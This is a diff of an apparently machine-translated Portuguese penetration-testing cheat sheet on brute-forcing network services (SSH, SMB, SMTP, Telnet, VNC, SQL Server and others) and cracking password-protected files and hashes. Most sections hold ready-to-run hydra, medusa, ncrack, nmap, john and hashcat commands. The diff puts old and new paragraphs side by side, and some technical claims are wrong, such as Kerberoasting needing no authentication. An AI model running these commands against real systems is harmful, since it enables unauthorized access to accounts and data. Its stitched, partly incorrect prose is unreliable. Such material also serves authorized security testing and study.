Rsync é um protocolo de transferência de arquivos amplamente utilizado que permite a sincronização eficiente de dados entre sistemas. Ele é comumente usado para fazer backup de arquivos, espelhar diretórios e transferir dados pela rede. O Rsync usa uma abordagem incremental para transferir apenas as partes modificadas de um arquivo, o que o torna rápido e eficiente em termos de largura de banda.
|
||||
|
||||
No entanto, o Rsync também pode ser usado como uma técnica de força bruta para descobrir senhas fracas ou previsíveis. Ao usar o Rsync para tentar autenticar em um servidor remoto, é possível tentar várias combinações de nomes de usuário e senhas até encontrar uma combinação válida.
|
||||
No contexto de hacking, o Rsync pode ser explorado para realizar ataques de força bruta. Um ataque de força bruta envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Ao usar ferramentas como o Rsh-grind, os hackers podem automatizar esse processo e tentar várias senhas em uma velocidade muito alta.
|
||||
|
||||
Essa abordagem de força bruta pode ser eficaz quando os sistemas remotos não têm medidas de segurança adequadas, como bloqueio de contas após várias tentativas de login malsucedidas. No entanto, é importante ressaltar que a força bruta é uma atividade ilegal e antiética, a menos que seja realizada com permissão explícita do proprietário do sistema-alvo para fins de teste de penetração.
|
||||
É importante ressaltar que a realização de ataques de força bruta é ilegal e antiética, a menos que seja feito com permissão explícita do proprietário do sistema-alvo para fins de teste de segurança.
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
```
|
||||
|
@ -702,9 +721,7 @@ Uma técnica comum de ataque é o brute force, que envolve tentar todas as combi
|
|||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force no SNMP. Essas ferramentas automatizam o processo de tentar várias senhas em um curto período de tempo, aumentando as chances de sucesso do ataque.
|
||||
|
||||
Para proteger-se contra ataques de brute force no SNMP, é importante seguir boas práticas de segurança, como usar senhas fortes e complexas, implementar bloqueio de conta após várias tentativas falhas e monitorar os logs de acesso ao dispositivo.
|
||||
|
||||
Além disso, é recomendável usar uma solução de gerenciamento de rede que ofereça recursos avançados de segurança, como detecção de ataques de brute force e alertas em tempo real. Isso ajudará a identificar e responder rapidamente a qualquer atividade suspeita em sua rede.
|
||||
Para proteger-se contra ataques de brute force no SNMP, é importante seguir boas práticas de segurança, como usar senhas fortes e complexas, implementar bloqueio de conta após várias tentativas falhas e manter o software do dispositivo atualizado com as últimas correções de segurança. Além disso, é recomendável monitorar os logs do dispositivo em busca de atividades suspeitas e implementar medidas de segurança adicionais, como autenticação de dois fatores.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
|
@ -713,15 +730,15 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
O SMB (Server Message Block) é um protocolo de compartilhamento de arquivos e impressoras usado em redes locais do Windows. Ele permite que os usuários acessem e compartilhem recursos, como arquivos e impressoras, em uma rede. O SMB também é usado para comunicação entre computadores em uma rede, permitindo a transferência de arquivos e o acesso a serviços de rede.
|
||||
O SMB (Server Message Block) é um protocolo de compartilhamento de arquivos e impressoras usado em redes locais do Windows. Ele permite que os usuários acessem e compartilhem recursos, como arquivos e impressoras, em uma rede. O SMB também é usado para comunicação entre computadores em uma rede, permitindo a transferência de arquivos e o acesso remoto a recursos compartilhados.
|
||||
|
||||
#### Ataques de Força Bruta contra o SMB
|
||||
|
||||
Um ataque de força bruta contra o SMB envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Isso é feito usando um programa automatizado que tenta várias senhas em rápida sucessão. O objetivo é encontrar uma senha fraca ou previsível que possa ser usada para obter acesso não autorizado a um sistema ou recurso protegido pelo SMB.
|
||||
Um ataque de força bruta contra o SMB envolve tentar adivinhar as credenciais de autenticação de um usuário, testando várias combinações de nomes de usuário e senhas. Esse tipo de ataque é realizado usando ferramentas automatizadas que tentam várias combinações em uma taxa muito alta.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o SMB, como o Hydra e o Medusa. Essas ferramentas permitem que os hackers testem uma grande quantidade de senhas em um curto período de tempo, aumentando assim as chances de sucesso do ataque.
|
||||
Os ataques de força bruta contra o SMB podem ser usados para obter acesso não autorizado a recursos compartilhados, como pastas e arquivos, em uma rede. Os invasores podem usar esses ataques para roubar informações confidenciais, modificar ou excluir arquivos e executar comandos maliciosos nos sistemas comprometidos.
|
||||
|
||||
Para proteger-se contra ataques de força bruta contra o SMB, é importante usar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendável implementar medidas de segurança adicionais, como bloqueio de contas após várias tentativas de login malsucedidas e monitoramento de atividades suspeitas na rede.
|
||||
Para proteger-se contra ataques de força bruta contra o SMB, é importante implementar medidas de segurança, como políticas de senha fortes, bloqueio de contas após várias tentativas de login malsucedidas e monitoramento de atividades suspeitas na rede. Além disso, é recomendável manter o software e os sistemas atualizados com as últimas correções de segurança para evitar vulnerabilidades conhecidas.
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
|
@ -730,11 +747,11 @@ hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
|||
|
||||
O Simple Mail Transfer Protocol (SMTP) é um protocolo de comunicação utilizado para enviar e receber e-mails. Ele é amplamente utilizado na comunicação de servidores de e-mail e permite que os usuários enviem mensagens de e-mail para destinatários em todo o mundo.
|
||||
|
||||
O SMTP é baseado em texto e segue um conjunto de regras para a transferência de mensagens de e-mail. Ele utiliza o TCP (Transmission Control Protocol) para estabelecer uma conexão entre o cliente de e-mail e o servidor de e-mail. O cliente de e-mail envia a mensagem para o servidor de e-mail usando comandos SMTP específicos, como "HELO" (para cumprimentar o servidor) e "MAIL FROM" (para especificar o remetente da mensagem).
|
||||
O SMTP é baseado em texto e opera na porta 25. Ele segue um conjunto de regras e comandos específicos para transferir mensagens de e-mail entre servidores. O processo de envio de e-mails usando o SMTP envolve a autenticação do remetente, a especificação do destinatário e o envio da mensagem.
|
||||
|
||||
Um ataque de força bruta no SMTP envolve tentar adivinhar as credenciais de login de um servidor de e-mail através de tentativas repetidas de combinações de nomes de usuário e senhas. Esse tipo de ataque pode ser automatizado usando ferramentas de hacking, como scripts ou programas especializados.
|
||||
No entanto, o SMTP também pode ser explorado por hackers para realizar ataques de força bruta. Um ataque de força bruta no SMTP envolve tentar todas as combinações possíveis de senhas para obter acesso não autorizado a uma conta de e-mail. Os hackers podem usar ferramentas automatizadas para realizar esses ataques, tentando várias senhas em rápida sucessão até encontrar a correta.
|
||||
|
||||
Os ataques de força bruta no SMTP podem ser mitigados implementando medidas de segurança, como bloqueio de IP após um número específico de tentativas falhas de login, uso de senhas fortes e autenticação em dois fatores. Além disso, é importante manter o software do servidor de e-mail atualizado para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
Para se proteger contra ataques de força bruta no SMTP, é importante usar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendável implementar medidas de segurança, como bloqueio de IP após várias tentativas de login malsucedidas e a implementação de autenticação em dois fatores para adicionar uma camada extra de proteção.
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
|
@ -753,23 +770,13 @@ nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/
|
|||
```
|
||||
### SSH
|
||||
|
||||
SSH (Secure Shell) é um protocolo de rede criptografado que permite a comunicação segura entre dois sistemas. É comumente usado para acessar e controlar servidores remotos de forma segura. O SSH utiliza criptografia assimétrica para autenticar e proteger a comunicação, garantindo a confidencialidade e integridade dos dados transmitidos.
|
||||
SSH (Secure Shell) é um protocolo de rede criptografado que permite a comunicação segura entre dois sistemas. É comumente usado para acessar remotamente servidores e dispositivos de rede. O SSH fornece autenticação forte e criptografia de dados, tornando-o uma escolha popular para administradores de sistemas e hackers éticos.
|
||||
|
||||
#### Força Bruta SSH
|
||||
|
||||
A força bruta SSH é uma técnica usada para descobrir senhas de acesso a servidores SSH por meio de tentativas repetidas de combinações de senhas. Essa técnica envolve o uso de programas automatizados que tentam todas as combinações possíveis de senhas até encontrar a correta.
|
||||
A força bruta SSH é uma técnica usada para descobrir senhas de contas SSH por meio de tentativas repetidas de login. Um atacante pode usar um programa automatizado para tentar várias combinações de nomes de usuário e senhas até encontrar a combinação correta. Isso é feito usando dicionários de senhas ou gerando combinações aleatórias.
|
||||
|
||||
Embora a força bruta SSH possa ser eficaz contra senhas fracas, ela é geralmente ineficiente contra senhas fortes e sistemas que implementam medidas de segurança adicionais, como bloqueio de IP após várias tentativas falhas.
|
||||
|
||||
#### Ferramentas de Força Bruta SSH
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta SSH. Algumas das ferramentas populares incluem:
|
||||
|
||||
- Hydra: uma ferramenta de força bruta de código aberto que suporta vários protocolos, incluindo SSH.
|
||||
- Medusa: uma ferramenta de força bruta rápida e modular que pode ser usada para atacar vários serviços, incluindo SSH.
|
||||
- Ncrack: uma ferramenta de autenticação em rede de código aberto que suporta vários protocolos, incluindo SSH.
|
||||
|
||||
É importante ressaltar que o uso de ferramentas de força bruta para fins não autorizados é ilegal e pode resultar em consequências legais graves. Essas ferramentas devem ser usadas apenas para fins legítimos, como testes de segurança em sistemas autorizados.
|
||||
Embora a força bruta SSH possa ser eficaz contra senhas fracas, ela é geralmente ineficiente contra senhas fortes ou quando medidas de segurança adicionais, como bloqueio de IP após várias tentativas falhas, são implementadas. Portanto, é importante usar senhas fortes e implementar medidas de segurança adequadas para proteger contas SSH contra ataques de força bruta.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -777,7 +784,7 @@ medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
|
|||
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
|
||||
```
|
||||
#### Chaves SSH fracas / PRNG previsível do Debian
|
||||
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido, que pode ser forçado com ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido, que pode ser quebrado por ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### SQL Server
|
||||
```bash
|
||||
|
@ -788,15 +795,15 @@ medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
|
|||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||
```
|
||||
Telnet is a network protocol used for remote access to devices over a network. It allows users to establish a command-line session with a remote host. Telnet is often used for troubleshooting, configuration, and management of network devices.
|
||||
Telnet is a protocol used for remote access to computers over a network. It allows users to log in to a remote system and execute commands as if they were directly connected to it. Telnet is often used for administrative purposes, such as configuring network devices or troubleshooting issues.
|
||||
|
||||
Telnet is a clear-text protocol, which means that all communication between the client and the server is transmitted in plain text. This lack of encryption makes Telnet vulnerable to eavesdropping and interception of sensitive information, such as usernames and passwords.
|
||||
Telnet is a clear-text protocol, which means that all communication between the client and the server is sent in plain text. This lack of encryption makes Telnet vulnerable to eavesdropping and interception of sensitive information, such as usernames and passwords.
|
||||
|
||||
Brute-forcing Telnet involves systematically trying different combinations of usernames and passwords until the correct credentials are found. This method relies on the assumption that the target device has weak or default login credentials.
|
||||
Brute-forcing Telnet involves systematically trying all possible combinations of usernames and passwords until the correct credentials are found. This technique is often used by attackers to gain unauthorized access to systems with weak or default credentials.
|
||||
|
||||
To perform a Telnet brute-force attack, you can use various tools and scripts that automate the process of trying different username and password combinations. These tools typically have built-in dictionaries of common usernames and passwords, as well as the ability to generate custom wordlists.
|
||||
To perform a Telnet brute-force attack, an attacker typically uses automated tools that can rapidly try different username and password combinations. These tools can leverage dictionaries of commonly used passwords or generate random combinations to increase the chances of success.
|
||||
|
||||
It is important to note that brute-forcing Telnet or any other service without proper authorization is illegal and unethical. It is only acceptable to perform such activities as part of a legitimate penetration testing engagement with the explicit permission of the target organization.
|
||||
To protect against Telnet brute-force attacks, it is important to use strong, unique passwords and disable any default or weak credentials. Additionally, implementing account lockout policies and monitoring for suspicious login attempts can help detect and mitigate brute-force attacks.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -816,10 +823,11 @@ Para proteger um servidor VNC contra ataques de força bruta, é importante segu
|
|||
|
||||
- Usar senhas fortes e complexas que sejam difíceis de adivinhar.
|
||||
- Implementar bloqueio de conta após um número específico de tentativas de login malsucedidas.
|
||||
- Utilizar uma VPN ou firewall para restringir o acesso ao servidor VNC apenas a endereços IP confiáveis.
|
||||
- Utilizar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Limitar o acesso ao servidor VNC apenas a endereços IP confiáveis.
|
||||
- Manter o software VNC atualizado com as últimas correções de segurança.
|
||||
|
||||
Ao realizar testes de penetração em um servidor VNC, é importante obter permissão explícita do proprietário do sistema antes de realizar qualquer atividade de hacking. O uso não autorizado de técnicas de força bruta pode ser ilegal e sujeito a penalidades legais.
|
||||
Ao realizar testes de penetração em um servidor VNC, é importante obter permissão explícita do proprietário do sistema antes de realizar qualquer atividade de hacking. O uso não autorizado de técnicas de hacking pode resultar em consequências legais graves.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -849,14 +857,14 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo.
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Local
|
||||
|
||||
### Bancos de dados de quebra online
|
||||
### Bancos de dados de quebra de senha online
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 e SHA1)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
|
||||
|
@ -869,7 +877,7 @@ Acesse hoje mesmo:
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Verifique isso antes de tentar forçar a quebra de um Hash.
|
||||
Verifique isso antes de tentar forçar a quebra de um hash.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -889,7 +897,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
|||
```
|
||||
#### Ataque de força bruta com texto conhecido em arquivos zip
|
||||
|
||||
Você precisa conhecer o **texto em claro** (ou parte do texto em claro) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **os nomes de arquivos e o tamanho dos arquivos contidos** em um zip criptografado executando: **`7z l encrypted.zip`**\
|
||||
Você precisa conhecer o **texto em claro** (ou parte do texto em claro) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **os nomes de arquivos e o tamanho dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\
|
||||
Baixe o [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) na página de lançamentos.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
|
@ -916,25 +924,11 @@ Existem várias ferramentas disponíveis para realizar ataques de força bruta n
|
|||
|
||||
Ao realizar um ataque de força bruta no formato 7z, é importante ter em mente alguns recursos que podem ajudar a aumentar a eficiência do ataque:
|
||||
|
||||
- **Dicionários de senhas**: Esses dicionários contêm uma lista de palavras comumente usadas como senhas. Eles podem ser usados como entrada para a ferramenta de ataque de força bruta, reduzindo o número de combinações a serem testadas.
|
||||
- **Dicionários de senhas**: Esses dicionários contêm uma lista de senhas comumente usadas ou derivadas de vazamentos de dados. Eles podem ser usados para testar as senhas mais prováveis primeiro, antes de tentar todas as combinações possíveis.
|
||||
- **Máquinas virtuais**: Usar máquinas virtuais pode ajudar a acelerar o processo de teste de senhas, permitindo a execução paralela de várias instâncias da ferramenta de ataque de força bruta.
|
||||
- **Computação em nuvem**: A computação em nuvem, como o uso de instâncias de máquinas virtuais em provedores de serviços em nuvem, pode fornecer recursos adicionais para acelerar o ataque de força bruta.
|
||||
|
||||
- **Regras de transformação**: Essas regras definem transformações que podem ser aplicadas às palavras do dicionário de senhas. Por exemplo, substituir letras por números ou adicionar caracteres especiais. Isso aumenta a variedade de combinações a serem testadas.
|
||||
|
||||
- **Recursos de processamento**: Ataques de força bruta podem ser intensivos em termos de recursos de processamento. É importante ter em mente a capacidade de processamento disponível e ajustar as configurações do ataque de acordo.
|
||||
|
||||
#### Mitigação de ataques de força bruta
|
||||
|
||||
Para proteger arquivos compactados no formato 7z contra ataques de força bruta, é recomendado seguir as melhores práticas de segurança, como:
|
||||
|
||||
- **Senhas fortes**: Use senhas longas e complexas, que combinem letras maiúsculas e minúsculas, números e caracteres especiais. Evite usar palavras comuns ou informações pessoais.
|
||||
|
||||
- **Criptografia adicional**: Considere usar criptografia adicional para proteger os arquivos compactados, além da senha. Isso pode adicionar uma camada extra de segurança.
|
||||
|
||||
- **Limitação de tentativas**: Alguns softwares de compactação permitem definir um limite para o número de tentativas de senha antes de bloquear o acesso ao arquivo. Isso pode ajudar a mitigar ataques de força bruta.
|
||||
|
||||
- **Monitoramento de atividades suspeitas**: Fique atento a atividades suspeitas, como tentativas repetidas de acesso a arquivos compactados protegidos por senha. Isso pode indicar um ataque em andamento.
|
||||
|
||||
Ao implementar essas medidas de segurança, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido nos arquivos compactados no formato 7z.
|
||||
É importante ressaltar que a realização de ataques de força bruta em sistemas ou arquivos sem a devida autorização é ilegal e pode resultar em consequências legais graves. Essas técnicas devem ser usadas apenas para fins legítimos, como testes de segurança em sistemas e redes autorizados.
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
@ -947,28 +941,17 @@ apt-get install libcompress-raw-lzma-perl
|
|||
```
|
||||
# Força Bruta
|
||||
|
||||
A técnica de força bruta é um método comum usado por hackers para obter acesso não autorizado a sistemas ou contas protegidas por senha. Nesse método, o hacker tenta todas as combinações possíveis de senhas até encontrar a correta.
|
||||
A técnica de força bruta é um método comum usado por hackers para obter acesso não autorizado a sistemas ou contas. Nesse método, o hacker tenta todas as combinações possíveis de senhas até encontrar a correta.
|
||||
|
||||
## Como funciona a força bruta?
|
||||
Embora seja uma técnica simples, a força bruta pode ser eficaz se a senha for fraca ou se o sistema não tiver medidas de segurança adequadas para detectar e bloquear tentativas repetidas de login.
|
||||
|
||||
A força bruta envolve a tentativa de todas as combinações possíveis de senhas até que a senha correta seja encontrada. Isso é feito usando programas automatizados que testam várias combinações em uma taxa muito alta.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentativa de login, permitindo que o hacker teste várias combinações de senhas em um curto período de tempo.
|
||||
|
||||
## Ferramentas de força bruta
|
||||
Para proteger-se contra ataques de força bruta, é importante usar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendável implementar medidas de segurança, como bloqueio de contas após um número específico de tentativas de login malsucedidas.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta. Algumas das ferramentas populares incluem Hydra, Medusa e John the Ripper. Essas ferramentas são altamente configuráveis e podem ser usadas para atacar uma variedade de sistemas e serviços.
|
||||
Os administradores de sistemas também podem usar ferramentas de detecção de ataques de força bruta para monitorar e identificar atividades suspeitas. Essas ferramentas podem ajudar a identificar padrões de ataque e bloquear automaticamente endereços IP ou contas que estão realizando tentativas de força bruta.
|
||||
|
||||
## Mitigação de ataques de força bruta
|
||||
|
||||
Existem várias medidas que podem ser tomadas para mitigar ataques de força bruta. Alguns exemplos incluem:
|
||||
|
||||
- Implementar políticas de senha fortes que exijam senhas complexas e de comprimento adequado.
|
||||
- Bloquear temporariamente contas após um número específico de tentativas de login malsucedidas.
|
||||
- Implementar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Monitorar e registrar atividades suspeitas de login para identificar padrões de ataque.
|
||||
|
||||
## Conclusão
|
||||
|
||||
A técnica de força bruta é uma abordagem comum usada por hackers para obter acesso não autorizado a sistemas protegidos por senha. É importante implementar medidas de segurança adequadas para mitigar esses ataques e proteger as contas e sistemas contra invasões.
|
||||
Em resumo, a técnica de força bruta é uma abordagem comum usada por hackers para obter acesso não autorizado a sistemas ou contas. É importante tomar medidas de segurança adequadas para proteger-se contra ataques de força bruta e implementar ferramentas de detecção para identificar e bloquear atividades suspeitas.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -995,13 +978,11 @@ john jwt.john #It does not work with Kali-John
|
|||
```
|
||||
### Quebra de NTLM
|
||||
|
||||
A quebra de NTLM é uma técnica utilizada para descobrir senhas de hashes NTLM. O NTLM é um protocolo de autenticação utilizado pelo Windows para verificar a identidade dos usuários. Ao quebrar o hash NTLM, um hacker pode obter acesso não autorizado a contas protegidas por senhas fracas.
|
||||
A quebra de NTLM é uma técnica utilizada para descobrir senhas de hashes NTLM. O NTLM é um protocolo de autenticação utilizado em sistemas Windows. Ao obter um hash NTLM, é possível realizar a quebra utilizando força bruta.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar a quebra de NTLM, como o Hashcat e o John the Ripper. Essas ferramentas utilizam a força bruta, que é um método de ataque que tenta todas as combinações possíveis de caracteres até encontrar a senha correta.
|
||||
A quebra de NTLM por força bruta envolve a tentativa de todas as combinações possíveis de senhas até encontrar a correspondente ao hash NTLM. Existem várias ferramentas disponíveis para realizar esse tipo de ataque, como o John the Ripper e o Hashcat.
|
||||
|
||||
A quebra de NTLM pode ser realizada localmente, onde o hacker tem acesso físico ao sistema, ou remotamente, onde o hacker explora vulnerabilidades em serviços de rede para obter acesso aos hashes NTLM.
|
||||
|
||||
É importante ressaltar que a quebra de NTLM é uma atividade ilegal, a menos que seja realizada com permissão explícita do proprietário do sistema. É uma técnica comumente utilizada em testes de penetração para identificar vulnerabilidades de segurança e fortalecer a proteção das contas de usuário.
|
||||
É importante ressaltar que a quebra de NTLM por força bruta pode ser um processo demorado, especialmente se a senha for complexa. Portanto, é recomendado utilizar senhas fortes e implementar medidas de segurança adicionais para proteger os hashes NTLM.
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
|
@ -1009,15 +990,19 @@ hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.tx
|
|||
```
|
||||
# Keepass
|
||||
|
||||
O Keepass é um gerenciador de senhas de código aberto que permite armazenar e gerenciar com segurança todas as suas senhas em um único local. Ele usa criptografia forte para proteger suas informações confidenciais e oferece recursos como geração de senhas aleatórias e preenchimento automático de formulários.
|
||||
O Keepass é um gerenciador de senhas de código aberto que permite armazenar e gerenciar com segurança todas as suas senhas em um único local. Ele usa criptografia forte para proteger suas informações confidenciais e oferece recursos como geração de senhas fortes e preenchimento automático de formulários.
|
||||
|
||||
Uma das técnicas comuns de ataque contra o Keepass é a força bruta, onde um invasor tenta adivinhar a senha correta testando várias combinações possíveis. Para proteger sua senha contra ataques de força bruta, é importante escolher uma senha forte e complexa, que seja difícil de adivinhar.
|
||||
## Ataques de força bruta
|
||||
|
||||
Além disso, você pode aumentar a segurança do Keepass usando recursos como bloqueio de conta após várias tentativas de login malsucedidas e a configuração de um tempo de espera entre as tentativas de login. Essas medidas podem ajudar a proteger suas senhas contra ataques de força bruta.
|
||||
Um ataque de força bruta é uma técnica usada por hackers para tentar adivinhar uma senha, tentando todas as combinações possíveis até encontrar a correta. Esses ataques podem ser extremamente demorados e exigem muitos recursos computacionais.
|
||||
|
||||
Lembre-se de sempre manter o Keepass atualizado com as versões mais recentes, pois as atualizações geralmente incluem correções de segurança importantes. Além disso, é importante fazer backup regularmente do seu banco de dados do Keepass para evitar a perda de dados em caso de falha do sistema ou corrupção do arquivo.
|
||||
No contexto do Keepass, um ataque de força bruta envolveria um hacker tentando adivinhar a senha mestra do Keepass, que é usada para desbloquear o acesso a todas as suas senhas armazenadas. O hacker usaria um programa automatizado para tentar todas as combinações possíveis de caracteres até encontrar a senha correta.
|
||||
|
||||
Com o uso adequado e a implementação de medidas de segurança adequadas, o Keepass pode ser uma ferramenta eficaz para proteger suas senhas e manter suas informações confidenciais seguras.
|
||||
Para se proteger contra ataques de força bruta, é importante escolher uma senha mestra forte e complexa. Isso significa usar uma combinação de letras maiúsculas e minúsculas, números e caracteres especiais. Além disso, é recomendável usar uma senha mestra longa, com pelo menos 12 caracteres.
|
||||
|
||||
Outra medida de segurança importante é habilitar a função de bloqueio automático no Keepass. Isso fará com que o programa seja bloqueado após um determinado número de tentativas de senha incorretas, dificultando ainda mais os ataques de força bruta.
|
||||
|
||||
Lembre-se de que a segurança do Keepass depende da segurança da sua senha mestra. Portanto, é fundamental escolher uma senha forte e mantê-la em segredo.
|
||||
```bash
|
||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||
keepass2john file.kdbx > hash #The keepass is only using password
|
||||
|
@ -1029,13 +1014,13 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
|||
|
||||
Keberoasting é uma técnica de ataque que visa explorar senhas fracas em contas de serviço do Active Directory (AD). Essa técnica se baseia na fraqueza do protocolo Kerberos, que permite que um atacante extraia hashes de senha de contas de serviço sem a necessidade de autenticação.
|
||||
|
||||
O processo de Keberoasting envolve a identificação de contas de serviço no AD que possuem a propriedade "ServicePrincipalName" definida. Essas contas de serviço geralmente são usadas para executar serviços em segundo plano, como serviços de banco de dados, servidores web e servidores de e-mail.
|
||||
O processo de Keberoasting envolve a identificação de contas de serviço no AD que possuem a propriedade "ServicePrincipalName" definida. Essas contas de serviço geralmente são usadas para executar serviços em segundo plano, como serviços de banco de dados, servidores web e outros aplicativos.
|
||||
|
||||
Uma vez identificadas as contas de serviço, o atacante pode solicitar um ticket de serviço para a conta desejada. O ticket de serviço contém o hash da senha da conta de serviço, que pode ser extraído pelo atacante.
|
||||
|
||||
Com o hash da senha em mãos, o atacante pode usar técnicas de força bruta ou ataques de dicionário para tentar quebrar a senha e obter acesso à conta de serviço. Essa técnica é eficaz porque muitas vezes as senhas de contas de serviço são fracas e fáceis de adivinhar.
|
||||
|
||||
Para se proteger contra ataques de Keberoasting, é recomendado fortalecer as senhas das contas de serviço, implementar políticas de senha fortes e monitorar o uso de contas de serviço no AD. Além disso, é importante manter o AD atualizado com as últimas correções de segurança para mitigar possíveis vulnerabilidades.
|
||||
Para se proteger contra ataques de Keberoasting, é recomendado que as senhas de contas de serviço sejam fortes e complexas. Além disso, é importante monitorar e auditar regularmente as contas de serviço para detectar atividades suspeitas.
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
|
@ -1058,11 +1043,11 @@ Brute force is a common method used in hacking to gain unauthorized access to a
|
|||
|
||||
Brute force attacks can be time-consuming and resource-intensive, especially if the password is long and complex. However, they can be effective against weak passwords or poorly implemented security measures.
|
||||
|
||||
There are several tools available for conducting brute force attacks, such as Hydra and Medusa. These tools automate the process by attempting multiple login attempts in rapid succession.
|
||||
There are several tools available for conducting brute force attacks, such as Hydra and Medusa. These tools automate the process by attempting multiple login attempts in a short period of time.
|
||||
|
||||
To protect against brute force attacks, it is important to use strong, unique passwords and implement account lockout policies. Additionally, rate limiting and CAPTCHA can be used to prevent automated login attempts.
|
||||
|
||||
